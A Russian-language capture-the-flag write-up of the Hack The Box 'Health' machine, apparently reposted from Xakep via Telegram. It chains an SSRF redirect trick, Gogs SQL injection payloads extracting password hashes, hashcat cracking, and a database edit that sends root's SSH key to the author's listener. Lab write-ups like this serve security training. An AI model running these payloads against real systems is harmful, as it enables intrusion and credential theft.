Хакер - HTB Health. Эксплуатируем SSRF от первоначального доступа до захвата хоста

Хакер - HTB Health. Эксплуатируем SSRF от первоначального доступа до захвата хоста

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • SSRF
  • Продвижение
  • Gogs SQL Injection
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как искать и экс­плу­ати­ровать уяз­вимость SSRF. В допол­нение к ней мы заюзаем SQL-инъ­екцию в GoGits, а затем допол­ним нашу ата­ку манипу­ляци­ей содер­жимым базы дан­ных сер­виса. Это поз­волит нам получить кри­тичес­ки важ­ные дан­ные и кон­троль над машиной.

На­ша цель — тре­ниро­воч­ный стенд Health с пло­щад­ки Hack The Box. Слож­ность задачи оце­нена ее авто­рами как сред­няя.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.176    health.htb

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Скрипт нашел два откры­тых пор­та: 22 — служ­ба OpenSSH 7.6p1 и 80 — веб‑сер­вер Apache 2.4.29. Сра­зу идем на веб‑сер­вер.

Глав­ная стра­ница сай­та http://health.htb

ТОЧКА ВХОДА

Да­вай запол­ним необ­ходимые поля и отпра­вим дан­ные. В полях URL мож­но ука­зать адрес сво­его веб‑сер­вера. Пред­варитель­но запус­тим его:


python3 -m http.server 8080

Фор­ма отправ­ки дан­ных
Ло­ги веб‑сер­вера

В логах веб‑сер­вера видим два зап­роса. Пер­вый — это GET-зап­рос на ука­зан­ный Monitored URL, а вто­рой — POST-зап­рос на Payload URL. Так как http.server не показы­вает нам пол­ные дан­ные, нуж­но написать свою реали­зацию. Давай напишем прог­рамму, которая будет выводить HTTP-заголов­ки, а в слу­чае с POST-зап­росом — еще и передан­ные дан­ные.

from http.server import BaseHTTPRequestHandler, HTTPServer

import logging

class Serv(BaseHTTPRequestHandler):

   def do_GET(self):

       print("GET " + str(self.path))

       print(str(self.headers))

       self.send_response(200)

       self.send_header('Content-type', 'text/html')

       self.end_headers()

   def do_POST(self):

       content_length = int(self.headers['Content-Length'])

       post_data = self.rfile.read(content_length)

       print("POST " + str(self.path))

       print(str(self.headers))

       print(post_data.decode('utf-8'))

       self.send_response(200)

       self.send_header('Content-type', 'text/html')

       self.end_headers()

   def log_message(self, format, *args):

       return

logging.basicConfig(level=logging.INFO)

httpd = HTTPServer(('', 8080), Serv)

httpd.serve_forever()

httpd.server_close()

За­пус­каем и дела­ем пов­торный зап­рос.

Ре­зуль­тат работы сер­вера

Ви­дим, что в дан­ных POST-зап­роса переда­ется информа­ция об ука­зан­ных URL, а так­же помет­ка down. Давай поп­робу­ем дать какой‑нибудь ответ на GET-зап­рос. Для это­го изме­ним метод do_GET:

class Serv(BaseHTTPRequestHandler):

   def do_GET(self):

       print("GET " + str(self.path))

       print(str(self.headers))

       self.send_response(200)

       self.send_header('Content-type', 'text/html')

       self.end_headers()

       self.wfile.write("<test>RALF_SERVER<test>".encode('utf-8'))

Ло­ги веб‑сер­вера

И теперь видим, что в дан­ных POST-зап­роса нам переда­ют наш же ответ на GET-зап­рос. Зна­чит, нуж­но про­верить, нет ли здесь воз­можнос­ти для экс­плу­ата­ции SSRF — то есть воз­можнос­ти под­делки зап­росов.

ТОЧКА ОПОРЫ

SSRF

Пер­вым делом я поп­робовал доб­рать­ся до фай­ла /etc/passwd, для чего ука­зал в качес­тве URL file:///etc/passwd/id_rsa, но получил сле­дующее пре­дуп­режде­ние.

Пре­дуп­режде­ние при зап­росе фай­ла

Зап­росить дан­ные с адре­са 127.0.0.1 тоже не выш­ло, но я вспом­нил ста­рый трюк с редирек­том. Так как про­водит­ся филь­тра­ция имен­но вве­ден­ных в поле URL дан­ных, мы можем обра­тить­ся к 127.0.0.1 в обход это­го поля. Для это­го нам нуж­но отпра­вить чекер на свою стра­ницу, которая переш­лет кли­ента на 127.0.0.1. Изме­ним метод do_GET для выпол­нения редирек­та.

def do_GET(self):

self.send_response(301)

self.send_header('Location', 'http://127.0.0.1/')

self.end_headers()

Пов­торя­ем ата­ку и получа­ем уже зна­комую стра­ницу самого же сер­вера, что под­твержда­ет наличие уяз­вимос­ти SSRF.

Эк­сфиль­тра­ция дан­ных

Для поис­ка пор­тов, которые могут быть откры­ты для под­клю­чения с локаль­ного хос­та, мож­но вос­поль­зовать­ся SYN-ска­ниро­вани­ем.

sudo nmap -p- -sS --min-rate=1500 health.htb

Ре­зуль­тат ска­ниро­вания пор­тов

На­ходим порт 3000, который как раз филь­тру­ется. Поп­робу­ем вытянуть дан­ные с него. Ука­зыва­ем дру­гой URL в обра­бот­чике GET:

self.send_header('Location', 'http://127.0.0.1:3000/')

Для удобс­тва я нем­ного изме­нил обра­бот­чик POST, что­бы из отве­та сер­вера авто­мати­чес­ки извле­кал­ся код HTML, сох­ранял­ся в файл и откры­вал­ся в бра­узе­ре.

def do_POST(self):

       content_length = int(self.headers['Content-Length'])

       post_data = self.rfile.read(content_length)

       print(post_data.decode('utf-8'))

       f = open('page.html', 'wt')

       f.write(json.loads(post_data.decode('utf-8'))['body'])

       f.close()

       subprocess.run(["firefox", "page.html"])

       self.send_response(200)

       self.send_header('Content-type', 'text/html')

       self.end_headers()

Де­лаем новый зап­рос и в открыв­шемся бра­узе­ре видим стра­ницу авто­риза­ции Gogs.

По­лучен­ные дан­ные

Эта стра­ница рас­кры­вает нам вер­сию плат­формы, что поможет при поис­ке извес­тных уяз­вимос­тей. Один зап­рос к Google, и пер­вая же ссыл­ка дает нам опи­сание готово­го экс­пло­ита.

Ре­зуль­тат поис­ка в Google

Та­ким обра­зом мы узна­ем, что в этой вер­сии Gogs есть воз­можность про­вес­ти SQL-инъ­екцию на стра­нице search через параметр q.

Опи­сание спо­соба экс­плу­ата­ции

Для экс­плу­ата­ции нам нуж­но толь­ко менять URL в коде нашего обра­бот­чика GET-зап­росов. При­веден­ный в PoC при­мер у меня не сра­ботал, поэто­му приш­лось нем­ного перера­ботать зап­рос. Вытянуть вер­сию не получи­лось, но зато добива­емся выпол­нения вло­жен­ного SQL-зап­роса select '123'.

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/'123'),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/

По­лучен­ные дан­ные

ПРОДВИЖЕНИЕ

Gogs SQL Injection

Итак, мы можем выпол­нять зап­росы, но получить информа­цию о струк­туре таб­лицы у меня не выш­ло. Поэто­му я ска­чал ис­ходни­ки Gogs и порыл­ся в них. Там находим струк­туру User.

Струк­тура User

Нас здесь инте­ресу­ют поля namepasswd и salt.

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/name/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/

По­луче­ние име­ни поль­зовате­ля

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/passwd/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/

По­луче­ние хеша пароля поль­зовате­ля

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/salt/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/

По­луче­ния соли для хеширо­вания

Те­перь нуж­но разоб­рать­ся с алго­рит­мом хеширо­вания. Так, в issue на GitHub находим упо­мина­ние самого алго­рит­ма.

Ин­форма­ция об алго­рит­ме хеширо­вания

И уже по клю­чево­му сло­ву находим сам код в исходни­ках.

Ис­ходный код фун­кции EncodePassword

У нас есть все парамет­ры для перебо­ра хеша. При­водим его к фор­мату hashcat:

echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -ps | base64

echo 'sO3XIbeW14' | base64

Пре­обра­зова­ние к фор­мату hashcat

А теперь бру­тим хеш, для чего ука­зыва­ем режим 10900:

hashcat -m 10900 sha.hash rockyou.txt

Ре­зуль­тат перебо­ра

С получен­ным паролем под­клю­чаем­ся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам нуж­но соб­рать информа­цию, которая поможет в повыше­нии при­виле­гий. Источни­ков очень мно­го, и для авто­мати­зации поис­ков я обыч­но исполь­зую скрип­ты PEASS. С их помощью обна­ружи­ваем учет­ные дан­ные для под­клю­чения к базе дан­ных.

Пе­ремен­ные окру­жения

Боль­ше ничего най­ти не уда­лось, да и сама база ничего нам не дала. Тог­да отсле­дим запус­каемые на хос­те про­цес­сы с помощью pspy64. Прос­тое ожи­дание ничего не дало — все спо­кой­но. Тог­да поп­робу­ем прой­ти по всем фун­кци­ям сай­та и пос­мотреть, при­ведет ли это к выпол­нению каких‑либо прог­рамм в сис­теме. Пос­ле соз­дания веб‑хука в кон­соли посыпа­лись логи.

Соз­дание веб‑хука
Ло­ги pspy

Под­клю­чим­ся к базе дан­ных и пос­мотрим содер­жимое таб­лицы tasks.

mysql -Dlaravel -ularavel -pMYsql_strongestpass@2014+

select * from tasks;

Со­дер­жимое таб­лицы tasks

И получа­ем ука­зан­ный нами URL, дан­ные по которо­му будут отправ­лены на наш сер­вер! В самом начале про­хож­дения я пытал­ся получить содер­жимое фай­ла, но помешал филь­тр. Теперь же мы можем, минуя филь­тры, прос­то под­менить запись в базе дан­ных. Эксфиль­тро­вать поп­робу­ем при­ват­ный SSH-ключ рута.

update tasks set monitoredUrl='file:///root/.ssh/id_rsa';

Из­менение дан­ных в таб­лице tasks
Ло­ги лис­тенера

И на откры­тый лис­тенер при­лета­ет зап­рос, где мы можем най­ти SSH-ключ поль­зовате­ля root. С этим клю­чом под­клю­чаем­ся к сис­теме и забира­ем вто­рой флаг.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page